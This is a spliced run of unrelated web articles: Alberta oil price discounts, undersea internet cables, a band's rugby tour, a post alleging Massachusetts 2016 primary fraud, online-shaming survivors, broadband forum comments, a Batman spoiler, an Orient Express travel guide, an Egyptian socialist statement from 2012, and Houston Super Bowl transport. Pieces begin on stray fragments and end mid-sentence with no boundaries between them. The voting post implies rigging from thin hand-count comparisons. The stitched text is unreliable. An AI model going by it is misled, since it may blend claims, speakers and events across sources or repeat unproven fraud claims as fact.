NAND flash memory.It has been, for Alberta, a dismal new year. With pipelines out of the province effectively full, Canadian crude has become a discount brand, and once-expected money is evaporating. The future looks little better. Alberta's Finance Minister has taken to dramatic language to describe the financial duress striking his province.
"This is not an ordinary storm," Doug Horner said this week. The dipping price of Canadian oil will strip some $27-billion from the Canadian economy this year, he said in a speech to the Calgary Chamber of Commerce that was designed to soften the ground for what is certain to be a grim provincial budget on March 7.
Mr. Horner's argument hinges largely on "differentials." It's an industry term that describes, in the current context, price discounts. So for example, Canadian heavy oil – which is often traded as a blend called Western Canadian Select – has seen a differential of as much as $42 (U.S.) a barrel below the headline oil price numbers. In North America, the headline number is typically the "benchmark" West Texas intermediate (WTI) blend. A big dip away from West Texas intermediate means that Canadian oil is selling on the cheap – and cheap oil for buyers mean low prices for sellers, the reason Alberta is facing such dire straits.
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Not everyone is buying it, though. Gil McGowan, president of the Alberta Federation of Labour, for example, says "the differential has been around for years, it's just now being used as a scapegoat to draw attention away from the government's failed revenue policies."
And it's true that differentials are nothing new. Canadian heavy oil takes more energy – and therefore more cost – to process into fuels like gasoline or diesel, so it's always sold for cheaper. According to Patricia Mohr, the Bank of Nova Scotia economist, that discount averaged $18.19 between 2005 and 2009. (Alberta budgets on a $15.97 differential.)
So a $40 discount for Canadian heavy oil is big – but nearly half that discount is perfectly normal. And over the past 12 months, the differential has averaged just over $25, which means it hasn't been much bigger than average.
Still, the current differential is obviously much bigger – and there are ways to sort out what it could be if there was plenty of space on pipelines. Take, for example, the differential between Louisiana light sweet oil (LLS) and Maya oil. Those two blends of crude traded on the U.S. Gulf Coast are roughly comparable to Canadian light oil and Western Canadian Select, respectively. In recent trading, the gap between LLS and Maya has been roughly $13. Some argue that in a logical world, the Canadian heavy oil discount would look more like that – a possibility that emphasizes how much is being lost today.
But the many different ways of calculating things have led to widely varying estimates of the missed revenues for energy companies today. The Canadian Association of Petroleum Producers did a back-of-the-envelope sketch and came to roughly $15-billion, based on current pricing. Martin King, a commodities analyst with FirstEnergy Capital Corp., pegs it at $18-billion.
The numbers are necessarily guesses, since they are based on estimates of what oil prices could be if pipelines weren't effectively full and product went to market unobstructed.
That said, the numbers can also be crunched to show much larger losses. If Canadian crude could make it to tidewater, it would access the kind of international prices that drive LLS and Maya. Compared to that, far more revenue is being forfeited – Mr. King puts it at nearly $30-billion, in the vicinity of the Alberta estimates. Still, that's far more hypothetical, since it's less certain that Canadian oil will achieve international prices, given the troubles industry has encountered building pipelines to the West Coast.
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And at least part of the story is that the Alberta government didn't just underestimate differentials. It also overestimated the headline oil prices, expecting a WTI price of $99.25 when it's actually been about $93 over the past 12 months.
Either way, Mr. King said, current differentials are adding up to missed government tax and royalty revenues of about $4-billion to $6-billion. Most of that pain accrues to Alberta.
"You take the mid range of that; $5-billion that's wiped out just because we're taking a hit on spreads," he said.
With files from Dawn Waltonin CalgaryWith cell phone, Wi-Fi and Bluetooth almost everywhere, it sometimes seems like we’ve finally ditched the cumbersome cords that are tethering us and our gadgets to Earth. But in reality, we live in a world that’s more wired than ever before — it's just that those wires are strung along the bottom of the world’s oceans.
“Ninety-nine percent of trans-oceanic data traffic, Internet traffic, goes underneath the ocean on the very bottom of the sea floor,” says Nicole Starosielski, an assistant professor of media, culture and communication at New York University. She’s the author of "The Undersea Network," a book exploring this hidden world of cable.
The scale of the network is both superhuman and surprisingly mundane at the same time. The wires are strung along the ocean bed by large tankers, which carry enough cable to go across the entire Atlantic Ocean. But the cables themselves aren't that big.
“It’s about the size of a garden hose,” Starosielski says. “In Guam, for example, the cables run right over the shoreline.... People step over them looking for the tourist attraction down the beach... [and] have no idea the Internet is pulsing right underneath their feet.”
And that's why the biggest threat to these cables is humans, not sharks or other sea life. “The majority of the disruptions of our undersea network come from people dropping an anchor off their boat and hitting the cable, or a fisherman dragging a net on the bottom of the sea floor,” Starosielski explains — not exactly the usual cause that comes to mind when Google fails to reload.
The cables seemingly haven’t been targets for terrorists thus far. “Some in the industry speculate that is because they’re not a visible target,” says Starosielski, but it also could be due to a lack of reporting. She notes one incident off the coast of Egypt in 2008 when multiple cables broke in succession.
“This looked very suspicious,” she says. Though reports indicated the damage was due to ships dropping anchors in the area, videos didn’t show any vessels in the area at the right time. The resulting outage was huge, disconnecting approximately 60 million people in India, 12 million in Pakistan, six million in Egypt and almost five million in Saudi Arabia.
“There are certainly people who are worrying about the fact that our cable network isn’t totally diverse, and there are these critical single points of failure,” Starosielski says.
The Arctic Fibre Project, which is exploring laying fiber-optic cables in the Arctic Ocean, would help combat the lack of diversity. “We’ve never had a cable that has gone through the Arctic Ocean," Starosielski says. The cables would link Japan to the United Kingdom could zap data from one end to the other in just 154 milliseconds.
But terrorism or human error aside, the cables were built to last. They can withstand the inhospitable ocean floor for 25 years, and, as Starosielski notes, “what else of the Internet has been instituted and stayed the same for 25 years?"
This story is based on an interview from PRI's Science Friday with Ira Flatow.Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Rugby nut James Dean Bradfield has lifted the lid on the Manic Street Preachers’ jaunt down under to follow the British and Irish Lions test series against Australia.
Their tour saw them:
Busking in the street for fans;
Appearing with a Welsh rugby star on stage; and
Catching one of their heroes rifling for beer in their fridge.
“I’d got to 44 and never been on a Lions tour,” said Cardiff Blues fan Bradfield.
“I always swore I would do a Wales Argentina tour or a Lions tour. All three of us were of the same mindset. We were a bit nervous because we’re not the biggest band in Australia, even though we’ve got a song called Australia, but it couldn’t have gone any better.
“They were amazing gigs. We did a Friday night in Sydney and a Friday night in Melbourne before the tests, but we also did a gig in the street and one in the fans’ zone in Melbourne and Sydney.
“And then we played New Zealand in between them.
“It was an incredible feeling. People might have a vision of the Manics during the Holy Bible era quoting Guy Debord, and then suddenly I’m on stage going ‘How many in English in the crowd? Yay! How many Scots? Yay! How many Irish. Yay! How many Welsh? Yay!
“I even caught myself going ‘oggy, oggy, oggy’,” he laughs.
“This was way outside the sphere of what we usually do. This was just pure joy. There was no motive behind it – it was just playing gigs and going to see some rugby. The usual Manics’ subtext was gone.”
The band, who release their album Rewind The Film on September 16, were joined on stage in Melbourne by Wales and Lions centre Jamie Roberts.
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“What a Spinal Tap moment that was as well,” jokes the singer.
“I’ve got a 6ft 2ins bass player over there and a 6ft 4ins rugby player over there and it looked like Clifton Suspension Bridge with the dip in the middle being me singing!
“A lot of people had a laugh at my expense on that tour,” he added. “Somebody took a picture of me, Lewis Moody and Jamie Roberts in the dressing room and I looked like a Hobbit between two Orcs. We laughed every moment we were on that tour.
“When we came off stage in Melbourne, Shane Williams was already in our dressing room looking for a beer in our fridge and I’d never met him before.
“He said: ‘Sorry boys, I was thirsty’. I told him to go ahead. The guy’s a legend. He can have all the beer he wants. I told him ‘take it all son’.
“At one point, I was in a radio booth with David Campese, Shane Williams and Brian Moore. I caught myself thinking I’m in a room full of rugby legends, it doesn’t get much better than this.”J.T. Waldron
Massachusetts, one of the participating states for the Super Tuesday election results, may need further scrutiny to allay concerns over election fraud using electronic voting machines. 68 out of the state’s 351 jurisdictions used hand counted ballots and showed a much larger preference of 17% for Bernie Sanders than the rest of the jurisdictions tabulated by electronic voting machine vendors ES&S, Diebold and Dominion. Hillary Clinton was declared the winner of Massachusetts by 1.42 %.
Election integrity activists John Brakey and Jim March investigated Scott Brown’s upset victory over Martha Coakley to replace Senator Ted Kennedy’s seat in 2010. They found a similar difference between hand counted paper ballots and those jurisdictions using machine tabulators. At that time, 71 out of 351 voting districts were using hand counted ballots and they favored Coakley over Brown by 4.44% despite Brown’s declared victory throughout the state by 5%.
Brakey and March discovered that election officials tend to have an unsettling reliance on election vendors. In fact, when one election official in Boston was asked if it was possible to examine their database files (called mdb, which is short for Microsoft data base files), that official then asked, “What are mdb files?” Those that understand the process know that mdb files are an integral part of the tabulation process that should be overseen by the election officials. March and Brakey were told by this election official that “the vendors handle that stuff” (I was with them during this exchange). Another common statement repeated by officials in Diebold precincts was: “We don’t have Diebold here, we have AccuVote”. They simply don’t know that Diebold’s optical scanners are called “AccuVote”. In addition, LHS, the company that represents Diebold, actually have their vendors’ technicians loading the memory cards prior to tabulating the results.
Why are hand counted jurisdictions so far out of step with the rest of the State of Massachusetts? The smaller precincts appear to be from more rural, less densely populated areas of the state. As Jonathon Simon, a Massachusetts resident and author of the book “Code Red”, suggests:
The Clinton/Sanders numbers in MA are obviously egregious, a much greater Opscan/Handcount disparity than the 8% in Coakley/Brown. The problem is that for Coakley/Brown we had some very good baselines (prior noncompetitive Senate contests and a prior noncompetitive Coakley race for AG, as well as Registration by Party). I’m not aware of any baselines for Clinton/Sanders, so we face the problem of demonstrating that those crazy rural (and whiter) Democrats in MA didn’t just “feel the Bern.” It is not particularly intuitive that Handcountville went legitimately so much stronger for Bernie, but we all know where “intuitive” conclusions get us with media/pols/public! What would be powerful … would be the selection of a few suspect precincts for full hand-count to compare with the Dominion numbers.
From the chart below, you can see that Dominion jurisdictions favored Clinton over Sanders by 5%. As more people are becoming aware of the potential for rigging in electronic voting technology, they are speaking out publicly and addressing campaigns by urging them to scrutinize election results. Beth Clarkson, a well know statistician in Kansas, has discovered from graphs of Oklahoma primary results that “as the number of votes cast in a precinct increases, so does the vote share for the candidate favored by the Washington establishment.” She believes this pattern is “consistent with election rigging” and she has written an open letter to warn Bernie Sanders. Other Sanders fans seem attuned to election fraud and began circulating petitions demanding an audit of the Iowa Caucus, which prematurely declared Clinton as the victor in that states caucus vote.
Regardless of who your prize candidate may be, it’s time to get on your hind legs and demand verifiable transparent elections, especially if your candidate is not the establishment’s choice.
http://www.verifiedvoting.org/verifier/#year/2016/state/25
Chart constructed by John Brakey.What happened to the Spanish artist behind ‘the worst restoration job in history’? Where is the woman who sent the Quentin Tarantino toe-sucking email now? And how does a victim of internet harassment recover? Survivors of online humiliation tell their stories
Remember that woman who tweeted something about Aids before getting on a plane to Africa? Or the guy who was arrested for a joke about blowing up an airport? Or that girl, dear me, who tweeted a smiling selfie outside Auschwitz concentration camp?
Me neither. I stopped thinking about them long ago. I certainly couldn’t tell you any of their names. But of course the facts are easy to check. Because for the rest of Justine Sacco’s, Paul Chambers’s and Breanna Mitchell’s lives, those moments will be the first thing that anybody finds about them on the internet. Probably the first thousand things. Until Monday morning, Rayhan Qadar could have sympathised along with us, from a distance. He didn’t realise that he was going to spend the rest of his life on Google as “the banker who got sacked for tweeting (a joke) that he’d hit a cyclist with his car”. And life is a long sentence when you’re 21.
You don’t have to have done anything for the internet to claim your name. At 16, Alex Lee became a global heartthrob and, to some, a hate figure, when someone snapped a picture of him simply doing his job: filling bags at Target. Even where some criticism might be fair, the error rarely warrants the punishment. When Sacco tweeted “Going to Africa. Hope I don’t get Aids. Just kidding. I’m white!” she was very obviously joking about racism rather than advocating it, but still, not obviously enough. And you’d expect a “global head of communications” to know better.
Mitchell, who was, let’s remember, a schoolgirl, might have considered the sensitivity of a selfie in Auschwitz more carefully, but her picture was nothing like as crass as it seemed. She had talked for years about visiting with her father and, after he died, she had finally managed it. She took her phone out to record the moment and – perhaps out of habit – happened to smile. The picture was online for a month before anyone noticed. “I literally woke up one morning and had literally a thousand things on my phone, notifications,” Mitchell said at the time. “I’ve had death threats. I’ve had people telling me I need to kill myself.” When the race to denounce a bigot begins, people forget about details like whether or not they were guilty.
We don’t need to ask where these torrents of scorn come from because we create them ourselves with our clicks and shares. If we had the proper context we might not laugh, so we don’t want context, and don’t get it. Nor is it likely to ever stop.
But afterwards? While the rest of us forget, what do the forgotten do? Sacco lost her job, of course, but has since found another and seems to be in good spirits. “I was so naive,” she told Gawker last month. With the help of professional advisers and his family, Alex from Target is still working out what to do with his unexpected and enormous fame. Qadar is probably still in shock. As the stories below show, a life can be rebuilt after it’s been stomped on by the internet. It just won’t be the same life that it was before.
Cecilia Giménez
‘130,000 people have seen Ecce Homo now’
Facebook Twitter Pinterest Cecilia Giménez say that more than 130,000 people have now visited her village to see Ecce Homo. Photograph: Philippe de Poulpiquet/Photoshot
Cecilia Giménez became one of Spain’s best-known living artists in August 2012. Her attempt to restore Ecce Homo – a fresco of Jesus in her local church – attracted global attention and became an online meme. More than two years later, tourists continue to trek to the village of Borja to marvel at what has been dubbed the “worst restoration in history”.
Now when I look at Ecce Homo, I see something positive. But it took me a long time to get to this point. At the beginning I suffered a lot. I cried every day. There were people waiting for me at my door, chasing me down with cameras and questions. It was too much for me – I’m an 84-year-old widow.
I’m not one of the world’s great painters. But I’ve loved painting my whole life and even had a few of my own art shows. For two decades I looked after the painting of Ecce Homo in the Santuario de Misericordia church, fixing it up whenever I thought it needed it. Because of the salt and humidity in our air here, the paint was always peeling. I’m sure that if I hadn’t taken an interest in saving the painting, it wouldn’t even exist today.
Facebook Twitter Pinterest The original of Ecce Homo and Gimenez’s restoration. Photograph: AP
That day I noticed how badly the paint was peeling. So I wet the painting, making broad strokes. Then I left it to dry and went on holiday for two weeks, thinking I would finish the restoration when I returned.
When I came back, everybody in the world had heard about Ecce Homo. The way people reacted still hurts me, because I wasn’t finished with the restoration. I still think about how if I hadn’t gone on holiday, none of this would have ever happened.
Reporters told the world the story of the old woman who couldn’t paint and had ruined a painting. That’s not true. It is true that I haven’t done many portraits. But if it hadn’t been for me, the painting would have probably disappeared long ago.
A week after the scandal, I received flowers and a card with a message of support. It was little gestures like that kept me going during the first month. It was so hard. I lost six kilos. I had to take medication for anxiety.
More than two years later, everyone here sees what I did in a different light. The restoration has put Borja on the world map, meaning I’ve done something for my village that nobody else was able to do. So many people have come here – and to our beautiful church – to see the painting |
direct buried without conduit. The work crews largely appear to be immigrant workers; forty of them show up, each digs a hole spaced 20-30 feet from the next guy and then they use a pneumatic piston to burrow through the ground, attach the fiber and pull it back.
Funny thing is that they wired up the neighborhood faster than ATT has made service available afterwards. It took them two weeks to wire our entire neighborhood. It has been more than two months since they finished and service still is not available. Kiwi
Premium Member
join:2003-05-26 6 recommendations Kiwi Premium Member AT&T I'm tired of decades of promises and no delivery, AT&T has become a PR nightmare relic of yesteryear and just needs to go away, that will save a few billion in tax dollars.
battleop
join:2005-09-28
00000 4 recommendations battleop Member Lost credibility... This story lost credibility at "Analyst:". Since when did Analysts fact check?
Anon192e5
@comcast.net 2 recommendations Anon192e5 Anon It's just a question but...
»www.wsj.com/articles/SB9 ··· 23462500 Enron was building a fiber network too. Do we need to get Arthur Andurson to do an audit?This is so much of a spoiler that it is not being published on the front page of Bleeding Cool. It is not being tweeted out or posted to Facebook. In fact, the only possible way you could have found it is by searching for it — or from a link by someone who searched for it. If you don’t want this spoiler then a) wonder why you came here b) go somewhere else for two days and c) turn off your social media until then.
It will be pushed to the front page only after Comic Book/CBR/Newsarama/whoever else is meant to have the exclusive finds this article and persuades DC Comics that this means they should be able to publish it on their front page now.
UPDATE: And the winner of the prize is… USA Today! Who, as a result of this piece have now been allowed to run their article. Which they call exclusive… Bleeding Cool’s original article runs below. And now on the front page, halfway down, probably…
So Batman and Catwoman have a tendency to get it on a lot. From the comics…
…to the TV…
…to the games…
…the statues…
…across the eras.
…and creators…
I mean, they seem to spend most of their nights having sex on a rooftop somewhere.
And current Batman comics have kept this trope alive.
Which must play havoc with the knees. But what about getting down on one of them and popping the question?
There was Alfred’s own fanfic in Brave And The Bold. But a parallel version of him was on hand to watch their marriage in Superman Family in 1981, over in Earth-2.
Their child becomes the original Huntress of Earth-2.
The Golden Age Batman and Catwoman had gotten together in an earlier Brave And The Bold…
A story which has been followed up…
And followed up…
And followed up.. Selina also managed to get Bruce in the Dark Knight Rises.
And of course, it even happens in real life.
Of course, DC Comics had been against their superheroes getting married of late.
Until DC Reborn established Superman and Lois Lane as a married couple and had Aquaman ask for Mera hand in marriage.
And then in Batman #24 by Tom King and David Finch – in an issue that saw Tom King fire his own editor on the book, Mark Doyle, replaced by Jamie Rich to keep Finch on the all-important scene, Batman got down on one knee and popped the question. And Bruce Wayne asked Selina Kyle to make him an honest Batman.
But before it could be answered, they had to have sex. And Batman had to tell Catwoman a long convoluted story about an aspect of his life, a decision he made long ago which may inform her answer. And so we got the interminable War Of Jokes & Riddles to stretch Catwoman’s answer out for months.
Well, we’re going to put you out of your misery. From Batman #34, out on Wednesday, when everyone else will be fussing about Nw York Comic Con…
Okay, one last spoiler warning symbol, then you are on your own.
After whatever it was that Batman did in the War Of Jokes & Riddles (and you will have to buy Batman #32 by Tom King and Mikel Janin to find out) he asked her again. And gets a reply.
Woo hoo!
About Rich Johnston Chief writer and founder of Bleeding Cool. Father of two. Comic book clairvoyant. Political cartoonist.
(Last Updated )
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None foundThe train inaugurated in 1883 by the Belgian entrepreneur Georges Nagelmackers has become the most famous in the world. Its history and the story of its many different routes fill whole books, and even before its resuscitation by the American entrepreneur James Sherwood in 1982 it had become a byword for all that was most intriguing, romantic and mysterious about long-distance international train travel.
The original Orient Express ran between Paris and Istanbul, but new routes (and variations on the name) were developed. In its pre-war years at least, it was also associated with elegance and luxury and culinary excellence, and it is these qualities that characterise today’s private train, the Venice Simplon-Orient-Express.
Appropriately enough for a train steeped in romance, its principal routes link three of Europe’s most beguiling cities, London, Paris and Venice. The chocolate-and-cream British Pullman train departs from London Victoria and glides through Kent, the London-bound commuters waiting on station platforms looking on enviously as brunch and Bellinis are served on the way to the Channel. In France the royal-blue train with brass insignia, lined by uniformed and white-gloved attendants, is waiting to take you through the most fought-over acres of France to the capital, while a four-course dinner is served. The dinner is made unforgettable by the sumptuous surroundings of the Lalique glass- and wood-panelled dining cars as well as the quality of the food, a miracle of skill conjured up in the tiny galley kitchen.
In Paris the train uses the same station from which the first Orient Express departed on October 4 1883, Gare de l’Est. The sense of dinner-jacketed style is enhanced by the contrast with passengers milling about on the platforms, the bar car’s piano and period tunes a world away from the iPods of today’s Parisian commuters.
It is likely to be dark by the time the train weaves through the hills growing the pinot noir, chardonnay and pinot meunier grapes that produce the Champagne served on board. Passengers slumber through eastern France and northern Switzerland, usually waking somewhere east of Zürich. Raising the blind to reveal the waters of Zürichsee or the majestic peaks lining the northern shore of Walensee is part of the pleasure of overnight train travel – that sense of being somewhere so different from the landscapes and architecture of the previous evening.
The snow-capped peaks of tiny Liechtenstein are a prelude to the Austrian Alps, as a continental breakfast is delivered to your compartment. After crossing the border into Austria the train climbs towards the Arlberg Pass and summit tunnel to reach Innsbruck, though there are occasions when the Orient-Express uses the Gotthard route through Switzerland to reach northern Italy. The train weaves along the contours as a succession of stone castles and impressive church towers strain skyward among the natural pinnacles of rock. Chalets dot the slopes of the Voralberg, divided from the Tyrol by the six-mile, dead-straight Alberg Tunnel.
A pause at the Tyrolean capital of Innsbruck is an opportunity to stretch one’s legs before the train reverses to head south through the Brenner Pass, its crags periodically topped by stone fortresses controlling valleys through the Dolomites. Lunch is served as the train drops down from the summit on the border with Italy, conifer-clad slopes giving way to huddled villages surrounded by vineyards and orchards.
The architectural style of the pale stone castle and palaces forming Buonconsiglio Castle in Trento emphasises the transition from central European to Mediterranean culture. With the Adige River for company, the train makes for Verona, forever associated with doomed love and Verdi’s operas, most impressively performed in the city’s Roman amphitheatre.
Afternoon tea is served as the train crosses the fertile landscape of the Veneto, dotted with the vast agricultural complexes so perfectly realised by Palladio in the countryside around Vicenza. The last major city before journey’s end is Padua, where Galileo once taught mathematics at the university, founded in 1222. The causeway linking Venice Mestre and the island is the perfect approach to the city and its towers and domes rising above the tiled roofs. Then, when the train arrives and you walk out of Santa Lucia terminus, you find yourself on the bank of the Grand Canal.
The Venice-bound train is associated with elegance and luxury
There are also many trips on the Orient-Express to Venice that start in Paris. Occasional itineraries weave through eastern Europe; for example, on a seven-night package from Venice to London passengers spend two nights in both Krakow and Dresden before arriving in London.
New for 2013 are departures from Venice to Copenhagen and Stockholm. Once a year the train takes a route as close to the original 1883 route between Paris and Istanbul as practicable, with one night in Budapest and Bucharest and, as one of the off-train excursions, a visit to the former summer residence of the Romanian king at Sinaia in the Carpathian Mountains, where the pioneer travellers were received by King Carol I.
Highlights
After seven or eight minutes of darkness, the exit from the Arlberg Tunnel is a coup de théâtre, as the train bursts into an amphitheatre of snow-capped mountains surrounding the ski resort of St Anton. In the descent to Innsbruck the train passes the great 13th-century castle of Landeck, guarding the Inn Valley.
Booking
Orient-Express UK reservations (0845 077 2222; vsoe.com).
Time
The train operates between late March and early November on a variety of itineraries lasting from a day to six nights. Spring and autumn are particularly agreeable seasons for the most frequent itinerary between London, Paris and Venice because of more moderate temperatures and fewer visitors in La Serenissima.
Cost
The classic overnight journey from London to Venice, or vice versa, costs from £1,920 per person based on two sharing a double cabin and includes all table d’hote meals. The new seven-night package from Venice to Stockholm, including two nights at the Hotel Cipriani in Venice, two nights aboard the train, one night in Copenhagen and two nights in Stockholm at The Grand Hotel, costs from £4,860 per person, including flight from and to London. Prices for the annual journey from Paris to Istanbul start at £11,000 per person.
On board
To travel on the Orient-Express is to step back in time to the best that train travel had to offer in the 1920s. It is the quality of the décor (exquisite art deco marquetry and glass panels, and generous armchair seats in the three dining-cars), service and food that distinguishes the train.
To travel on the Orient-Express is to step back in time
Cabins with comfortable upper and lower beds are identically sized with washbasin in a cupboard, but two can be connected to give more space. To the surprise of some who have not read a full description of the train, lavatories are at the end of the corridor, and there are no showers; passengers are buying an authentic experience of period travel. The bar car with piano is the social hub of the train, and there is a small shop of tasteful souvenirs.
The food – refined French cuisine – is to Michelin-star standard, and the meals, served with silverware, crystal glass and starched napery, are the highlight for many passengers. All meals are provided, and a continental breakfast is served in the cabins.
Tips
Packing
To make the most of the experience, dress up. Most passengers make the effort to complement the setting, so pack black tie and evening dresses for dinner and smart casual during the day. Some parties dress in period fashions. Jeans are never acceptable.
What to read
The train has been made famous by novels set on it, most notably the 1934 thriller Murder on the Orient Express by Agatha Christie, who used the train to join her husband on his archaeological digs in Iraq. Stamboul Train by Graham Greene, published in 1932, weaves a complex plot around a journey from Ostend to Istanbul.
The Paris correspondent of The Times, Henri Opper de Blowitz, was one of the invited guests on the inaugural run in 1883 and he appears as a character in a fictional account of it, Flashman and the Tiger, by George MacDonald Fraser.
For a history of the train, with particular emphasis on the restoration of the rolling stock by James Sherwood, the best book is Venice Simplon Orient-Express by Shirley Sherwood (Weidenfeld & Nicolson). Much fuller accounts of the social and political history of the train can be found in The Orient Express by Anthony Burton (David & Charles) and The Orient-Express by Jean des Cars and Jean-Paul Caracalla (Bloomsbury). James Sherwood gives his own account of the train’s revival in Orient-Express: A Personal Journey (Robson).
What to listen to
No significant music has been composed with the train as the theme, but a comparable train, the (French) Blue Train inspired Milhaud’s ballet score Le Train bleu, which was first performed by the Ballets Russes in 1924, directed by Diaghilev; the libretto was by Cocteau, the costumes by Chanel and the stage curtain was painted by Picasso.
Though Honegger applied the title Pacific 231 retrospectively to his 1923 symphonic movement, it can be reasonably inferred that he had in mind the departure of an express train since he wrote, “I have always loved locomotives passionately. For me they are living creatures…” And the music unmistakably captures the sense of an express train’s departure.
What to watch
Agatha Christie’s thriller has twice been made into a film, in 1974 with an all-star cast in one of the most successful adaptations of her work, and again in 2001. Greene’s Stamboul Train was made into a poor film in 1934 entitled Orient Express, heavily reliant on unconvincing studio sets. It was considered appropriate to feature a steam-hauled Orient Express in the 1963 film adaptation of Ian Fleming’s From Russia with Love, in which Sean Connery, as James Bond, has a fight on the train.June 15, 2012
The announcement of the two rulings was met with bitter opposition outside the court building, and numbers of protesters took to the streets throughout the day and evening. Hossam el-Hamalawy, an Egyptian journalist and activist who blogs at the 3arabawy website, said a march is planned to Tahrir Square at 5 p.m. on Friday.
For his part, Muslim Brotherhood candidate Mohamed Morsi condemned the twin rulings. But he also said that he respects the ruling against the Political Exclusion Law and he will continue to stand in the runoff election this weekend.
Saad Aboud of the Dignity Party--which is led by Hamdeen Sabahi, another presidential candidate associated with the revolution, who came in a close third to Morsi and Shafiq during the first round of the presidential vote-- told the Guardian : "This is a politicized verdict that constitutes a coup in political life. With the other verdict allowing Shafiq to continue in the race, today means the death of the revolution, and it is now imperative that we reconstruct it."
Abdel Moneim Aboul Fotouh, the former Muslim Brotherhood leader who ran for president and is acknowledged as a candidate of the revolution, declared in a statement : "Keeping the military candidate [in the race] and overturning the elected parliament after granting the military police the right to arrest is a complete coup, and whoever thinks that millions of youth will let it pass is deluding themselves."
The aim of the ruling is for Supreme Council of the Armed Forces (SCAF) to assume legislative authority--with the new president chosen on Sunday to swear his oath to the generals. Under this move, the SCAF, rather than parliament, would be able to appoint an assembly to write Egypt's new constitution. The day before the ruling, the regime re-imposed martial law, giving the police and security forces the right to arrest anyone resisting the authorities, halting traffic, damaging buildings or harming government security--in other words, a total clampdown on protest.
A second ruling by the court nullified elections for about one-third of the seats in Egypt's parliament, most of them held by the Muslim Brotherhood. The ruling declared that parliament must now be dissolved until new elections are held, though some members of parliament said they would defy the order.
The court, which is packed with men appointed by Mubarak before his downfall in February of last year, overturned a law barring officials of the old regime from running for the presidency. That will allow Ahmed Shafiq, Mubarak's last prime minister, to remain in the runoff election. The military clearly hopes the ruling will boost Shafiq past Mohamed Morsi, the candidate of the Muslim Brotherhood.
Egypt's military rulers and the remnants of the old regime of toppled dictator Hosni Mubarak have made a naked move against the revolution. The assault took the form of a ruling by Egypt's Supreme Constitutional Court that simultaneously intended to dissolve the country's parliament and allow the military's favored candidate to stay in a presidential runoff election scheduled for this weekend--two steps in the direction of the counter-revolution.
The ruling of the Constitutional Court arrived today to announce that one phase of the revolution has been resolved in favor of the military regime. The judiciary, serving as regime accomplice, has passed down a ruling dissolving parliament. It has also ruled to reject the law excluding the man who occupied the position of prime minister while the revolutionary youth were being slaughtered in the streets. The judiciary had previously set the precedent in the incident of the Egyptian elections committee law, granting judicial power to the administrative council formed by decree of the military to supervise the elections in order to give them to Ahmed Shafiq, who is shunned by all popular forces, but supported by the military and judiciary. Thus, he can implement his promise to the people to impose “security” in 24 hours and to execute those he labels as “thugs,” while encouraging the economy by putting our workers and laborers as a cheap commodity on the global labor market.
And while the Mubarak regime, represented by the military council, mobilized all that it possesses in the way of institutions, resources, media, manpower and materiel to face the revolution of January 25, 2011, the political forces differed over the partitioning of society into civil (meaning secular) or Islamic. But the military council reminded them today that Egypt is divided into civil (meaning non-military) and military… And it has affirmed to them that democracy under the protection of the military is a lie, that the supervision of a judiciary delimited by the military is submissive and lacking independence.
What you can do Activists in cities around the country are organizing emergency pickets for Friday at Egyptian consulates and other visible Egyptian-run enterprises (such as Egypt Air). Please bring out as many people as you can to the protest in your city. For more information on the ongoing campaign in support of the revolution, visit the Petition in Solidarity with the Real Egyptian Revolution website.
The continuously negotiating and bargaining political forces, insatiable for a power that was never in their hands for one day, insisted on imposing their conditions, insisted on abridging the demands of the revolution to “democratic” demands in the shadow of a regime which does not fulfill even the unjust conditions of bourgeois democracy, which exceeds that injustice by carrying weapons and maintaining detention centers, prisons, and terrifying instruments of torture. The masses chanted for a mouthful of bread, rights to work and a life of dignity and social justice, but these demands were considered factional demands, to wait until the stability of the state was achieved—meaning stability of the stock exchange, investments, the wheel of production, running over and crushing the workers, the poor, the students and the marginalized. They demanded representation for the Copts in the Constitutional Constitutive Assembly, so they were represented by the Church and a handful of businessmen…They were not represented by the sister of Mina Danyal, nor by any of the revolutionaries who witnessed their brothers and sisters slaughtered by the tanks of the military during the Maspero massacre. They demanded the representation of women, and they got as representatives seven women with no knowledge of the realities in which the women of the country are living, the poverty, oppression, discrimination, and the violation of the most basic rights, among them their rights to bodily safety, both inside and outside the prisons…They demanded representation for the workers, so they were represented by men of the old regime in the yellow union federation…And they differed and fought and withdrew from representation by the parties, none of which was able to protect the revolution, nor even to disguise or prettify the process of its theft and overthrow.
No wonder then, that a state of frustration spread among the revolutionaries, comrades, colleagues and friends, a state of disbelief in today’s developments, for it appears to be a knock-out win for the counter-revolution. But this is what is to be expected if we believe or anticipate that our brave revolution is capable of winning and implementing democratic rights in the absence of simultaneous fierce struggles to achieve social justice. The slogans and struggles for social justice have receded in the face of demands for the constitution and the presidency and the parliament, etc.
But there will be for our revolution no victory through the ballot boxes, not through any one political group, nor through demonstrations, nor through youthful tenacity in the squares of liberation…The working class, absent from the field of battle, is still the sole force that is able to bring victory for our revolution, as it did in forcing out the head of the regime. It is true that the working class is struggling valiantly in its workplaces, against management and against the ruling capitalists in their companies, but these struggles remain far from the squares and far from each other. For these strikes and struggles and occupations, unprecedented in their number and distribution, still stop short, deprived of a single revolutionary labor movement to unite in solidarity against the phalanxes of the counter-revolution, now unified in its murderous executive, legislative, judicial and penal apparatus. And the revolutionaries of the squares do not assemble other than in the squares, or in short coordinating meetings, refusing organization and politics as if the revolution was not the highest form of practicing politics…
So the bridges remain cut off between the two armies of the revolution…
To build these bridges is our orientation in the second round of the revolution. The building of a united revolutionary front of all those who have a stake in the victory of the revolution, in the workplaces, among the peasants, the youth and women, among the working and toiling men and women of Egypt, that is our task today, a task that depends on the struggle in the workplaces and the neighborhoods and not at the negotiating table.
Our revolution will be victorious, despite the hatred of the military and their cronies…And the retribution of our martyrs is coming, despite the hatred of the murderers.
Glory to the martyrs!
Victory to the revolution!
Power and wealth to the people!With so many trips and schedules to keep track of, Lauren Barrash no doubt feels sometimes like she's going in circles, when actually her shuttle bus and jitney services at The Wave usually follow a more complicated route.
Barrash, owner and founder of The Wave, notable for its bright orange jitney buses that operate between Houston hotspots, is one of many Houstonians hoping to cash in on Super Bowl visitors by carrying them to and fro. From pedicabs to taxis, limos and Ubers, local drivers - and even some coming from other Texas cities to fill the need - are prepping to handle a huge demand in downtown, Midtown and emptying NRG Park on Sunday night after the Super Bowl.
For Barrash, the opportunity is bittersweet, as the emergence of Uber - and what she thinks has been favorable treatment of Uber by city officials - has hurt her jitney business on weekends.
"It's killed me," Barrash said of Uber, despite her jitney being often a cheaper option. "I get it. People want it easy. They want it right now and see when it is coming."
